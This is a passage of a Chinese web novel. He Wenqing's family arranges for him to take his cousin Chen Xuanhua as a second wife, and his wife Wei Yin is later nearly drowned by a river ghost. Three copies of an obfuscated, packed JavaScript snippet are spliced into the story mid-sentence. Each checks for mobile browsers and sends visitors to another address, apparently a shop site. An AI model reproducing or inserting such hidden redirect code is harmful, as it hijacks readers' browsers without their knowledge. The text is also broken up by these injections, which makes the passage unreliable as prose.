“过来看看你。”贺夫人拉着陈宣华在身边坐下,细细打量了她一番,叹着气道:“宣华啊,你母亲走前将你托付给我照顾,可我却没有顾好你,先头呢,我是一直想要文卿娶你进门的,便没有给你物色夫家,谁知道那老太婆竟不许,让文卿娶了魏姻,弄得你现在婚事都没有着落……” 陈宣华心中悲戚:“姨母养育宣华多年,已经待宣华很好了,是宣华自己命不好。” “胡说。”贺夫人顿了顿,忽然问道:“宣华啊,我知你从小对文卿有心的是吗?” “姨母……” "宣华不用瞒我,姨母我一清二楚。”贺夫人叹道:“你自小陪着文卿长大,从前文卿读书很晚,你怕他饿着,便是再冷再晚的天,你也要亲手做些吃食给他,比我这个做母亲的都还要细致体贴,若不是对他有心,又怎能做到这一步?” 陈宣华不敢再听,“姨母莫要再说了,表哥如今有了表嫂,让她晓得会多心的。” “你不要怕她。”贺夫人冷哼一声,魏姻是贺老太婆看中的孙媳妇,她自然是一万个不满意:“这次来,我实是有要紧事与你商量。” 陈宣华:“要紧事?” “是这样的。”贺夫人道:“你姨父病重,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615260|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太爷觉得若是能办个喜事冲喜说不定就好了,这不,文卿与魏姻成婚五年都没有半个子嗣,老爷子年纪大等不及了,想着你这孩子在家里一直尽心侍候我们这些长辈,和文卿又是个自小长大的情谊,便让我问问你的意思,想娶你进门,我一想,自然乐意你做我的媳妇,自然,姨母绝不会让宣华你做妾的,我和老太爷都说好了,绝不让你吃亏,进门便是平妻,跟魏姻是一样的……” 陈宣华整个人大吃一惊,差点没有反应过来。 下一刻,她想起待自己和善的表嫂,连忙摇头:“这不行的姨母……不行的,表嫂那边怕是不愿意……” 贺夫人则笑道:“男人纳妾再娶都是天经地义的事,哪有大户人家的老爷公子没有两个房里人的?此事有我这个做婆母的和老太爷做主,由不得她愿意不愿意。” “可……”陈宣华还是欲言又止:“表嫂便愿意,文卿表哥与表嫂新婚燕尔,怕是不情愿的……” “还以为什么呢。”贺夫人笑起来:“给他娶个美貌可心,又自小有情分的房里人,他还能有什么不愿意的?文卿是我骨肉,我还能不知道他?若是功名仕途的事,他这孩子是绝不听我的,但娶房里人,他即使不太高兴我们做他的主,也不会说什么。况且文卿素来孝顺祖父,只要老太爷开了口,他没有忤逆的。” 陈宣华看贺夫人主意已定,显然是早有谋划的,不知该说些什么,离开时,贺夫人又交代了几句让她养好身体的话。 然而贺夫人的这一番话,却将陈宣华弄得仿徨无措起来。 她是孤女,自幼没有父母,亏得有姨母抚育长大,贺家上下都待她极不错。 特别是她的状元郎文卿表哥。 记得父母亲刚去世那会,她跟着姨母来到贺府,颇为不安却又不敢说,文卿表哥自小通透聪明,看她白日里总是独自畏怯地呆在房里闷头做女红,便特意求了姨母,让她陪他一起去书房读书,偶尔心情好还会亲自教她学诗,一日日的相处,让她一颗心总算在贺府安定了下来。 她原以为自己会一辈子伴着文卿表哥,即使只是为他伺候笔墨。 知晓姨母要自己做媳妇,她暗暗喜了好几夜都睡不着。 后面虽然事与愿违,贺老太太做主为贺文卿另娶她人,陈宣华也不敢有一点不满、难过,只是默默将自己的满心情愫压抑到心底。 这几年看着贺文卿与魏姻夫妻和睦,她已经彻底绝望了。 可如今姨母竟突然又说要她…… 陈宣华一时心乱如麻,魏姻是个好相处的表嫂,虽说有些奇奇怪怪,平时戴着平安符才敢出门,但对她却很是照顾的,即使知道她只是贺府一个无依无靠的表小姐,甚至知道她当年本是要嫁给文卿表哥为妻的,却也从无嫉妒看轻之意。 可,她真的很喜欢文卿表哥…… 陈宣华捂着胸口,颇为痛苦地盯着手边已经喝干净的药碗。 7. 第 7 章 贺夫人与陈宣华的一番对话,魏姻此刻是全然不知的,她这次来荒州,因行路匆忙,并没有来得及带上翠微,贺文卿这会儿又还没有回来,一时哈欠嗑得连连也不太敢一个人睡。 不过没一会儿功夫,贺文卿就与贺夫人说完话回房了。 魏姻看他回来,马上过去拉他手,贺文卿看屋里没外人在,便也神色自定地让她拉拉扯扯了,“怎的这般晚了还不睡?” “等郎君回来才能睡着。”因着太困了,魏姻声音不自觉十分绵软。 他这妻子,本就生得娇媚,又惯爱对着夫婿耍嗔弄娇,实在磨人得很,贺文卿闻声只觉下腹一阵情动,但理智想起了如今贺父正病重,他即使对贺父没什么父子之情,但在此等情况下也不好做出那等不守礼的事。 只得喉结一压,将那份火气压下去了,搂住浑身香香的妻子:“那便早些睡吧,明日也好早点起身去给祖父请安。” 魏姻已然困了,在他怀里敷衍地嗯嗯了两声,就睡着了。 贺文卿低头望着怀里的妻子,魏姻这阵子脸色虽不太好,但在房内昏黄灯光下,依旧美得不可方物,尤其是眉心的朱痣,看她竟然自己睡得那样香,全然只当自己是个入睡工具,他又气又无奈,一时忍不住,破天荒地抛下平日里的沉稳,朝她嫩唇上轻轻咬啃了一口。 低低喟叹一声,抱她到床上睡。 贺文卿才将魏姻抱上床,要脱她外裙熄灯睡觉,就听见房门外传来叩门声。 他只好披上件外袍,走出去看是谁。 就见他的表妹宣华端着碗菜粥站在房门外,依旧还是在贺父房里的那身素丽衣裙,二十岁的年轻姑娘,虽比不得妻子魏姻那样娇媚明艳的美貌,但未施粉黛,肌肤如雪,清丽脱俗得像朵夜里的昙花一样美丽绽放。 陈宣华看着只随意披着件外袍出来的贺文卿,脸微红:“厨房里刚好做了些菜粥给姨母和姨娘们吃,宣华想着表哥一回府便去了姨父那,怕是还没有用饭,便给表哥送上一碗。” 贺文卿轻轻笑了声:“你身子不好,让下人送来就好。” “夜里我也睡不着什么,不碍事的。”陈宣华看男人笑了,她也忍不住勾起嘴角:“知道表哥爱吃蛋丝,特意加了蛋丝的。” 贺文卿接了过去:“多谢宣华体贴,你表嫂恐怕都不知道我爱吃。” “表哥这是觉着表嫂不体贴了?”陈宣华作势往里看:“那我现在就告诉表嫂去。” 贺文卿赶紧拉住她,“可别了,她睡了,你明儿也别跟她说,让她晓得,明儿又要磨我了,我让人送你回去吧。” “不了。”陈宣华摇摇头,“你快去睡吧,我自己回去。” “好,那你看着点路。” 陈宣华脚刚下台阶,忽然转过身喊住贺文卿:“表哥。” “怎么了?”贺文卿疑惑望着她。 陈宣华低头凝着脚下的台阶一会儿,目光才深深地望着贺文卿:“不知表哥还记得以前我们在书房里读书时,我有次不小心弄坏了夫子的古籍,表哥替我瞒下,代我受罚的事吗?” “怎么突然提到以前的事了?” 陈宣华痴痴仰慕着面前玉树临风的状元郎表哥久久不语,那即将要涌出口的千言万语还是被她怯懦地压在了心底里:“没事,就是想要多谢表哥。” 贺文卿凝视着她离去的背影。 当年贺夫人打算让他娶表妹陈宣华的时候,他心里其实并不反对。 陈宣华温婉贤淑,擅疱膳,懂规矩,行事大方得体,凡事以他为先,且……又对他有情,婚后必然能够夫妻和睦。 只不过既然贺老太太不同意,他也不好驳了祖母的面子,便也就算了。 反正,他只要个贤惠的妻子就行了,至于宣华,他再给她找些相配的青年才俊就是。 贺文卿想着往事,人已经回到房里,魏姻这会儿早睡得脸发红,他坐过去贴着她的脸轻轻问:“姻儿,宣华送了粥来,要不要起来吃点?” 魏姻好些天都没有睡好过,听着贺文卿一直在耳边叨叨,忘了这是在荒州贺府,还以为贺文卿半夜又来了兴致,于是很不耐烦地将他推开,胡乱应道:“别弄我衣裳,我今晚不要……” 贺文卿愣了两秒,才意识到她在说什么,一时无言笑了两声,不敢再吵她,只得自己去将粥给喝了。 _ 在贺父忙着往房里纳女人,贺夫人忙着与那些女人争风吃醋的时候,贺文卿就在贺老太爷这个祖父膝下长大了,对从小带大自己的贺老太爷,是极为敬重在意的,第二日这天一早就起了身,携着魏姻往老太爷的院里去请安。 贺父和贺文卿虽都娶妻甚至生子了,但贺府里面真正的一家之主还是贺老太爷。 贺老太爷是个威严的老人,一生也算是仕途得力,曾经最高官至过吏部侍郎,年老退休后便回了荒州颐养天年,此生唯一的不痛快就是儿子实在不争气,晚年将所有的心血放在了培养长孙身上,管教得十分严苛。 好在长孙文卿是个有出息的,不似贺父那样不成体统,一心只在女人身上。 后来贺文卿二十五六岁的年纪便得了功名,成了状元,更让贺老太爷脸上有光,一雪贺父在荒州的笑话。 贺老太爷对孙子严苛,对自己也同样如此,他平日里除了读书外,也只侍弄些花草这样的雅事,房里除了已逝的贺老太太这个正妻外,只有两个年纪不轻的老姨娘伺候着。 这个点,贺老太爷刚好用过早饭,正呆在屋里喝茶。 贺老太爷为人威严、爱讲规矩,他院子的下人都不敢喧哗半声,全老老实实地各自做着自己的事,魏姻与贺文卿过来的时候,发现贺夫人、陈宣华都在贺老太爷这里,贺夫人一脸按捺不住的喜色,而陈宣华则一直垂头不语,只在魏姻贺文卿夫妇进屋的时候,咬着唇飞快扫了眼,贺老太爷更是一副比平日还要庄重的脸色。 贺老太爷看到他们夫妇二人来了,说道:“文卿你们来的正好,祖父有事要跟你们说。” 贺文卿琢磨着眼前的阵仗,问:“祖父有何事?” “我与你母亲商量着。”贺老太爷徐徐道:“你父亲病成这样,总不能干看着,我便想着,想为你办个喜事给家里冲冲喜。” 他有意无意睨了眼魏姻:“一则,说不定能将你父亲的病冲好,二则呢,我们贺家一直子嗣单薄,就说你父亲吧,房里那么多姨娘也就你一个儿子,祖父我现在已经是快要入土的人了,你若再不想办法绵延子嗣,我怕是等不到了。” 魏姻一怔,难怪贺夫人方才一脸喜色。 贺文卿听出了贺老太爷话里的意思,一时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615261|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白祖父怎么会有了这个主意,皱了皱眉:“如今父亲这样,府里怎好再办喜事。” “就是因为你父亲他不好,所以才要办喜事给他冲喜。”贺老太爷不容置疑:“这事我与你母亲已经定了,就在这两日,你就准备等着娶宣华过门吧。” 说完,对宣华道:“宣华,你是文卿的表妹,不会屈了你,以后在府里跟魏姻都是一样的。” 魏姻去看陈宣华,难怪她也在这,陈宣华迎着魏姻的视线,轻轻咬了咬唇,自觉惭愧,将头垂得更低了。 贺夫人知道贺文卿是个稳重的,但怕他与魏姻新婚燕尔那劲头还没过,怕他会犯糊涂不答应贺老太爷,忙笑着说:“是啊文卿,我知你与宣华从小就感情深厚,就想着,你们既然情投意合,不如就趁此机会成全你们,这也不仅仅是为了你父亲,也是为了你好。” 贺老爷子点头,疲倦道:“文卿,你母亲也与我说了,你不欲女色,是好事,但四十无子再娶实在不可,况且宣华乖巧知礼,定不会让你为难,祖父如今只对你有这一个要求,你难道忍心让祖父见不到曾孙就走了?” 贺文卿下意识望向魏姻,一时竟思绪紊乱起来。 “怎么?”贺老太爷见他没有反应,脸色微变:“你不愿意?” 贺文卿顿住,男人娶妻纳妾,绵延后嗣,是天经地义的事,他瞥了眼一旁死死咬着唇望着自己的陈宣华,还有紧张的母亲和已有些不悦的祖父,最终,他只得颔首。 “孙儿知道了。” 贺夫人闻言,喜上眉梢:“这便好了,咱们府里又有件大喜事了!” 贺老太爷看贺文卿答应了,便放心了,让丫鬟扶着回房歇息,贺夫人则喜得嘴角都合不拢,拉着陈宣华和贺文卿的手笑着嘱咐他们早点怀上个孩子,就急急忙忙拉着陈宣华去置办嫁衣去了。 屋里只剩下了魏姻、贺文卿夫妇。 婚后这几年,贺文卿因着贺父风流,确实也无意往房里纳太多女人弄得后宅乌烟瘴气。 祖父若说是要纳旁人,他还要再考虑一二。 可既然是表妹陈宣华,她性子软和恭顺,便是纳进房里也不至于会和魏姻生出什么龌龊来,而且贺老太爷都将话说到这个份上了,他也不好违逆祖父。 见魏姻此刻沉默地望着他。 贺文卿晓得女子素来是不乐意丈夫纳别的女人的,甩脸不满很正常,若是旁的女人,他不会理会,但面对魏姻,贺文卿还是忍不住柔声哄着她:“宣华虽与我有从小的情分,但你放心,你才是我贺文卿的夫人,我不会让她与你争,即使宣华以后有了孩子,若你想要,我也会让她将孩子给你养着,嗯?” 魏姻依旧是沉默不语地望着他。 “我知你心里不太情愿,我也并非是什么贪色之辈,但我身为贺家长孙,不能没有子嗣……” 贺文卿解释完,见魏姻没什么反应,心里莫名也感觉到不太舒服。 好像他们夫妻之间忽然生出了一层隔膜。 但他并不觉得自己哪里做的有问题,世上哪个男人不是三妻四妾的?他又不是娶了宣华,就会冷落她。 贺文卿重重叹了口气,抬手将魏姻夹在衣里的一缕青丝勾出来,另转了话头:“你昨夜睡得晚,今儿又早早来给祖父请安,再回去歇会吧,我先去看父亲了。” 8. 第 8 章 魏姻面无表情盯着贺文卿的背影消失在视线里,好半天,才若有所思地拿起了刚才被他碰过的头发,只感觉往年夫妻情意在这一刻恍若如梦了。 然而,她却没有怎么咂摸自己和贺文卿的这五年夫妻,而是想起了她父母的那段婚姻。 魏姻的父母曾经是京城的一段佳话,他们俱出身名门,原本都各自另有婚约,但有一天,他们在花灯节下一见钟情了,为了在一起,他们闹得轰天动地。 父亲为了娶到母亲,不惜削发出家。 母亲也为了退婚,和父母断绝关系。 最终,他们如愿成婚了,婚后一年就恩爱生下了魏姻。 情最浓时,父亲甚至不顾世俗眼光,在族人面前对母亲写下了此生绝不纳妾的毒誓。 原本以为这是一段苦尽甘来,有情人终成眷属的婚姻,可就在母亲怀着第二胎时,父亲却在同僚家中喝酒,酒后一时按捺不住,狎了同僚家中一个貌美的舞姬,让她有了身孕。 父亲刚开始拼命藏着,但这事还是闹到了家里,为了舞姬肚子里的孩子,祖父只得让父亲将舞姬纳进府里。 在父亲洞房花烛夜时,祖父怕母亲性子刚烈,把肚子里的孩子闹掉,就让人将她锁在了房里,而向来刚烈的母亲那夜却一句话也没说,被锁在房里后,只是默默地用魏父定情送的一根簪子,结束了自己的性命和一直以为的美满婚姻。 但母亲不知道的是,那夜小魏姻也睡在了她房里。 夜里醒来的小魏姻,和着浑身是血的母亲尸体锁在房里一整夜。 从那以后,魏姻被母亲的尸身吓破了胆,有了去哪里都要带着平安符才敢出门的毛病。 有着父母这份令人唏嘘的婚姻摆在眼前,魏姻早已经对夫婿的情意无所谓了,只要对方样貌、品行、出身好就行,别的她并不在乎。 在祖父给她定下贺文卿时,她对他并无什么期望。 贺文卿要纳人的这一点,魏姻心里已经早有准备,可到底到了这一天,她难免还是有一点唏嘘。 她望望门外,丫鬟仆妇不时地在那窃窃私语。 无非是在议论贺文卿要娶陈宣华的事。 魏姻没理会他们,径自离开,回去看看刘嬷嬷给她准备了什么早饭。 然而,她刚出了贺老太爷的院子,就见着陈宣华秀眉紧紧蹙着站在院门口,看样子,似乎站很久了。 看魏姻出来,忙过来喊住:“表嫂。” 魏姻笑了笑:“宣华,怎么了?” 陈宣华原以为魏姻在知道这件事后一定会给自己脸色看,觉得她不要脸,狐媚自己的表哥,任是再大度和善的女人,也恐怕无法马上接受与别的女人分享自己的郎君,可魏姻这一笑,让她一时怔愣不已。 魏姻看着眼前的陈宣华沉吟了一会儿,问道:“母亲不是让你去置办嫁衣么,怎么还在这儿?” 陈宣华苦笑着道:“已经去量过了,有绣娘们做着。” 魏姻于是点点头:“还是要快些,父亲的病耽搁不来,你快回去看看,还有什么要置办的吧,若是没有,尽管跟你表哥说。” 陈宣华听了这一番话,把头羞愧地垂着。 魏姻看她这样子,也不说什么了,陈宣华默然目送着她离去,手使劲掐进掌心。 贺文卿刚成婚那两年,姨母和贺老太爷也是给她另外说过几门亲事的。 但陈宣华实在是忘不掉这十几年和贺文卿相处的点点滴滴,每每都找尽借口推脱掉了,虽然如此,她对贺文卿已经不敢再存妄想了,可想不到,这次姨母和贺老太爷会做出这样的决定。 表哥也答应娶她。 她就……实在是不想放过这个机会。 哪怕从此之后,表嫂会厌恶她,不给她好脸色,再回不到从前的姑嫂情分。 陈宣华满腹心事地来到贺父这里,贺父今日彻底撑不起精神了,从昨夜昏睡过去后,到现在都还没醒过来。 贺文卿此时正在床头,端着碗参汤喂贺父,硬喂了半天,才勉勉强强喂进去了两口。 陈宣华顺势走过去拿手巾给贺父擦嘴,贺文卿看到她一怔,两人一直是表兄妹,如今乍然就要成他的女人,贺文卿略消化了片刻才面色如常:“你怎么从祖父那儿过来了?” “方才在祖父那……与表嫂说了两句话。” 贺文卿轻声嘱道:“她这两日怕是不太高兴,你还是不要去她面前,若她来找你,你便多忍着些,不要和她计较。” 陈宣华怔怔望着他,好半晌,低低垂下眼眸:“表哥放心,宣华知道了。” 到底有青梅竹马的情意在,贺文卿察觉到自己刚才的话有些不太对,毕竟宣华向来柔顺,不用他说,也会对魏姻恭恭敬敬尊着,想到此,他又改了语气:“宣华,如今你既嫁了我,我自会好好对你,不会太委屈了你。” 陈宣华感动地重新抬起头,眼中含泪:“表哥……” 贺文卿迟疑片刻,最终还是伸出指腹轻拭她的眼泪,声音难得柔情:“回房去坐喜吧。” 荒州有婚俗,新嫁娘在成婚前不能出来,得待在闺中坐喜。 在这对表兄妹说着话的同时,魏姻已经回到了房里。 她早早就去给贺老太爷请安了,早饭还没有来得及用,刘嬷嬷待在这头,那头贺老太爷院里的消息早已传了过来,见她回来了,一脸凝重地迎着:“这好好的,夫人和老太爷怎的想起了要大郎娶表小姐冲喜呢。” 魏姻朝她笑笑,反问:“早饭可好了?” “早好了。”刘嬷嬷一边让人去传膳,一边絮絮开口:“夫人之前就想着表小姐做媳妇,这下倒是如愿了。” 她说完,又仔细打量了魏姻的脸色,怕她想不开这事:“少夫人也别难受,这男人嘛,迟早有这事的,虽说是平妻,但好在这次娶进来的是表小姐,表小姐是个好姑娘,只会敬着您,影响不了您的地位。” 魏姻静静听着,没作声。 “其实呢这表小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615262|187719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也是怪可怜的。”刘嬷嬷叹息道:“自小是个孤女,若不是夫人养育,都不知道怎么着,在府里呢,一直低眉顺眼的侍候夫人,夫人没有女儿,就大郎一个儿子,从小被老太爷抱在膝下教养着,只有表小姐这么一个贴心人在眼前尽孝,难怪夫人喜欢她。” 魏姻听完这一大堆,无奈笑了笑:“知道了奶娘,我想得开。” 刘嬷嬷看不出魏姻到底什么想法,不过既然都这样说了,倒不好再提这些让她难受,于是忙把话锋扯到早饭上:“知道少夫人这几日路上奔波,没有吃好,特意给您做了几道好东西,老婆子寅时就起来盯着人做了,等您吃完了,我再给大郎送去。” 魏姻想了想,“我去送吧,正好还要去看父亲。” …… 魏姻提着食盒来贺父这里时,贺夫人派来的人正在和贺文卿说话,看到魏姻到来,贺文卿似乎面上略有些不自在,但很快恢复正常,朝贺夫人的人淡淡吩咐:“我知道了,晚些时候再过去。” 待人走了,立刻来拉魏姻:“你来得正好,我刚好有些饿了。” 魏姻任由他拉着自己的手,脸上疑惑地问:“郎君,母亲派人来什么事?” 贺文卿的手一凝,很快避重就轻地道:“也没什么事,就是将喜堂收拾出来了,让我去看看。” 魏姻跟着沉默一会儿,轻轻笑了笑:“先吃饭吧,郎君。” 在贺文卿吃饭的时候,魏姻没有跟以往缠着他,看到什么想吃的就让他喂她吃,而是自己坐在一旁双手托着下巴,静静地凝视着躺在床上的贺父发呆。 贺文卿看她这样,估摸还在不高兴,等着他来哄,在心底里无奈轻笑一声后,便主动夹了一块妻子最爱吃的甜点喂到她嘴边:“奶娘做的枣酥很不错,你尝尝。” 魏姻托着下巴,摇摇头,“郎君自己吃吧,我吃过了。” 贺文卿见自己被拒绝,只得自个吃了,吃完饭,他陪着魏姻安静坐了会儿,主动寻了几个话头跟她说话,而魏姻都一副意兴乏乏的样子,只好再次沉默下来,直到贺夫人那头再次派人来请他过去,这才离开去喜堂那边了。 魏姻望着贺文卿离去的身影,随手拿了一杯茶懒洋洋地啜了两口,这男人平日最是高冷,每次自己缠着他说话,也只是敷衍两句,今日竟然难得找这么多话跟她说。 就这样,贺文卿和陈宣华的婚事很快定了下来。 在两日后的一个吉日里。 虽办的急了些,但贺夫人为了给外甥女抬脸,不被魏姻比下去,给了好些嫁妆。 又特意让人将魏姻旁边的一个西院收拾了出来,大张旗鼓地布置起喜房,夜里,西院那边都在忙着张灯结彩,布设大红喜帐,刘嬷嬷怕魏姻看了心里不爽快,自作主张吩咐下人将院门给关起来。 而这两日,贺文卿准备着做新郎官,夜里还要守着贺父,不能回房睡,便让刘嬷嬷晚上陪着魏姻回去睡,因此,贺文卿与魏姻私底下便一直再没有什么说话的机会。 9. 第 9 章 时间很快来到了成婚这一天,依照荒州昏迎的婚俗,贺文卿傍晚时要在喜娘的指引下,换上新郎官的大红喜服,去将新妇陈宣华给接过来,然后行完简单的婚仪,便将人迎到喜房。 在贺文卿与陈宣华行完婚仪来到西院的时候,魏姻在院子里看到了一身绯红云锦喜服的贺文卿,贺文卿本就皮肤极白,身量又高,今日迎亲特意仔细地梳洗了一番,又戴上了平日极少戴的隆重红玉冠,这一身红艳艳的衣袍衬得他整个人更是眉目如画,俊美绝艳。 一路走过,年轻丫鬟都羞红了脸,痴痴地望着他。 贺文卿也望见了魏姻,脚步微顿,但片刻后,便又在喜娘的催促之下,转身走到身后的喜轿前,掀开喜帘将里面同样一身新妇打扮的陈宣华从轿子里抱了出来,陈宣华盖着红盖头,一双笼着翠镯的葱白玉手轻轻搂住他的脖颈,走进红烛高燃,喜帐灼眼的喜房。 因着到底也不是正儿八经的娶正妻,没有大操大办,只在前院请了些与贺家交好的宾客摆了几个席面。 夜里,贺文卿从前院敬酒回来,已是有些醉了,贺夫人派人将他扶到西院。 他脚步虚浮地步入新房,丫鬟仆妇这会儿已经都避出去了,只剩下陈宣华端端庄庄地坐在婚床上。 贺文卿抬起手,去揭她头上的红盖头。 陈宣华向来薄施粉黛,打扮得素淡,今日却难得艳妆珠翠,她肌肤雪白,神色羞涩,既清嫩又潋滟,像极了那粉嫩含羞的牡丹。 她仰望着眼前痴心多年的状元郎表哥,眼眶渐红,强忍着内心庞大的羞涩,柔声喊了声:“表哥……” 贺文卿醉眼朦胧地居高睨着她,不甚清明地轻嗯了一声。 陈宣华似有些紧张,她怔怔地望了眼前男人好一会儿,才鼓起勇气站起来:“妾身伺候表哥就寝吧……” 说着,她伸手去碰他的腰带,即使贺夫人私底下已经教过她房事了,但由于面前的男人实在是压迫感太强,让她太过于紧张无措了,双手一直在颤抖,勒得贺文卿气闷不已。 他轻笑了一声,修长手指攀上陈宣华粉白的脸,在陈宣华吓得脸都白了的时候,这只大手转而一把握住了她的腕,引着她纤细的双手往他玉革带上一个地方摸去。 “解这就行了。” 陈宣华按他说的做,腰带果然啪嗒一下子从腰间解开了,正要继续不熟练地去脱他的外袍、里衣,贺文卿已经受不了她如此磨蹭,直接按住了她的双手,然后将人拦腰抱起往喜床上走去。 陈宣华吓了一跳,猛搂住他的腰身,但下一刻,她人已经躺在了喜床上。 贺文卿用一只手将她放在自己腰上的手腕捉住,跟着,扣在头上,见陈宣华吓得要动,他立刻沉声道:“表妹别怕,你既是我的人了,今后我和姻儿会好好待你,你不再是孤女了。” 话罢,男人重重地倾身覆上去,陈宣华瞬间疼得瞳孔剧睁。 红烛呲呲燃烧起来。 映起喜房里的一片喘息纠缠声。 _ 隔壁的东院里。 下人们全去了前院领喜钱,连刘嬷嬷也去了前院忙活,只剩下魏姻一个人出神望向西院那紧闭的院门,这样熟悉的场景,让她又想起了母亲死的那一晚,她心里感到异常的憋闷。 她不想独自再在房里待下去,于是提着灯,心不在焉地出了房门。 贺文卿喜静,他们住的这处院落离前院很远,是另外辟出来的院子,跟贺老太爷和贺父贺夫人他们的院子并不相连,几乎独自靠近后门了。 等魏姻反应过来后,才发现自己已经出了后门,来到了街上,发现今儿刚好是荒州干旱过去的第一个花灯节,百姓们牵家带口地赏灯游街。 魏姻夜里是最怕黑漆漆出门的,但见今夜花灯重重照亮几条街,人来人往很是热闹,倒也不那么怕了,也提着灯,看起花灯来。 花灯这一天,除了有小贩卖花灯外,还有一些大的酒楼茶楼都在自家前面用彩帛扎起了彩楼,挂上各式各样精巧的花灯。 有一家酒楼的花灯做得尤其精美,魏姻平日里很爱这些明亮又好看的玩意,只可惜她方才出门并未带钱,所以准备看看也就算了。 就在她看够了,打算转身去别家看看,这时候,不注意身后突然走来一个大约七八岁,手里拿着兔子花灯,穿着粗麻衣裳的乡下小孩,她根本没有想到背后会窜出来个人,“砰”地一声与他撞在了一起。 小男孩直愣愣朝地上倒了下去。 魏姻见自己把人家小孩撞到了,吓了一跳,赶紧伸手去扶他起来,却见这小男孩并不理会她,自己扶着地面直挺挺地站了起来,看也没看魏姻一眼,径自离开。 魏姻见此,也就收回了手。 正要走,脚边碰到了一个兔子花灯,是刚才那个被她撞到的小男孩掉的。 魏姻看小男孩还没走远,捡起花灯马上追过去。 可奇怪的是,那小男孩粗胖粗胖一个孩子,走得比大人都快,好像后面有鬼在撵着他走一样,魏姻只得提着裙子吃力跟着。 她只顾着去追那孩子,并未意识到自己已经离开了花灯街,逐渐来到了河庄附近。 此处远离了花灯街,只有月亮在头顶上悬悬散着幽白的月光,正在此时,魏姻看见,那小男孩竟在她回荒州那日看到的石屋前停下了脚步,而那条原本干涸,但在前不久向河伯嫁女祈雨后又重新涨了水的河水正匍匐在石屋旁边流淌着。 不知是太过寂静了还是怎么的,魏姻听到河水发出比平时还要响的汩汩流水声,这声音莫名让她心中感到不安。 可没等她多想,就见刚才那小男孩在月光下又“动”了起来。 他离开了石屋,抬起两条小粗腿竟直接往河水里走去,很快,他的脚渐渐没入了水中,接着,又是腰,腰没进去后又是两只小胳膊,最后只剩个小脑袋了…… 这一切动作很是缓慢,小男孩仿佛是要慢慢欣赏自己被淹死的过程。 他在干什么?! 这孩子这是要做什么? 魏姻被眼前这一幕,看愣了。 在小男孩连头也要没进水里时候,她来不及多想,下意识扔下手里的灯和兔子 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她松口气,把小男孩托上岸,自己跟着上去。 哪知,脚下的河水就在这个时候忽然变得湍急凶狠起来,魏姻回头一看,脚下河水不知何时急速汇聚成了一个漩涡疯狂地卷住了她。 同时。 四周开始无故刮起了风,吹得漫天的草石乱飞,一场莫名其妙的夜雨淅淅沥沥在她头顶上下了起来,她震惊万分地看着这一幕,还没反应过来时,只听一道怨气冲冲的少女声音突兀在雨里响起:“你坏我好事!你敢坏我好事!原来你也是跟他们一样来关我的——你既然要帮他,那你替他来陪我吧。” 说着,竟呜呜呜的又笑又哭了起来。 魏姻急忙朝着河边四周张望,却只能听到呜咽的哭声,看不到任何东西,她紧张到浑身都在抖,之前虽然在菩萨庙里遇见过怪事,但到底恍恍惚惚,哪像现在这样清清楚楚看到怪风怪雨乱刮,听到鬼说话啊。 她回过神来,拼了命地想去摸小男孩脖子上的平安符,可是还不等她将手伸过去,就被脚下的漩涡往河中央带去。 那东西似乎气急了,并不打算慢慢淹死她,疯了一样的将她往水里拖。 魏姻身上湿透了,雨水几乎模糊了双眼。 她试图去抓身边的任何东西挣扎,但河里除了水却什么也抓不到。 就算抓到了也没有用,恐怕只有平安符才能镇住。 这时的河水又冷又急,天上又下着雨刮着风,全无反抗之力,魏姻渐渐挣扎得筋疲力尽,最后,只能眼睁睁看着自己被这漩涡一点点往水底里拖。 突然。 那无故刮起的怪风怪雨、乱飞的草石一刹间自个莫名静止了下来。 紧跟着,她听到了一道属于少年的沉闷嗓音从身后的河岸边,轻轻飘了过来。 “退下。” 嗓音干涩,像许多年都没有说过话了一样。 同时随着声音飘过来的,还有一股淡淡的槐花香气。 10. 第 10 章 身后的河岸边,就在小男孩躺着的那块地方,出现了一道惨白长影,借着月光,可以清楚看到那是撑着把竹骨伞缓缓从黑暗里走出来的一个少年,因为遮着伞的缘故,只能看到他那接近于白纸的下巴和身上看不太清颜色的粗布长衫,一副年轻读书人的打扮。 对方瘦得如骨的手上,食指中指间正轻夹着一片还没来得及落下的树叶。 魏姻一下子就认出了他,很快发现,随着这人的出现,那卷着她身体往水中拖的漩涡似乎紧张瑟缩了一下。 少年轻轻松开指间竹叶,随它落下地,见那漩涡还不肯退去,他蹙起眉头,偏过头,静静凝向那座石屋,声音轻柔。 “姑娘,请退下。” 只见着,那原本空无一人的石屋前面慢慢的,浮现出一个抱膝蜷坐在墙角、穿着一身并不合身嫁衣的小新娘子。 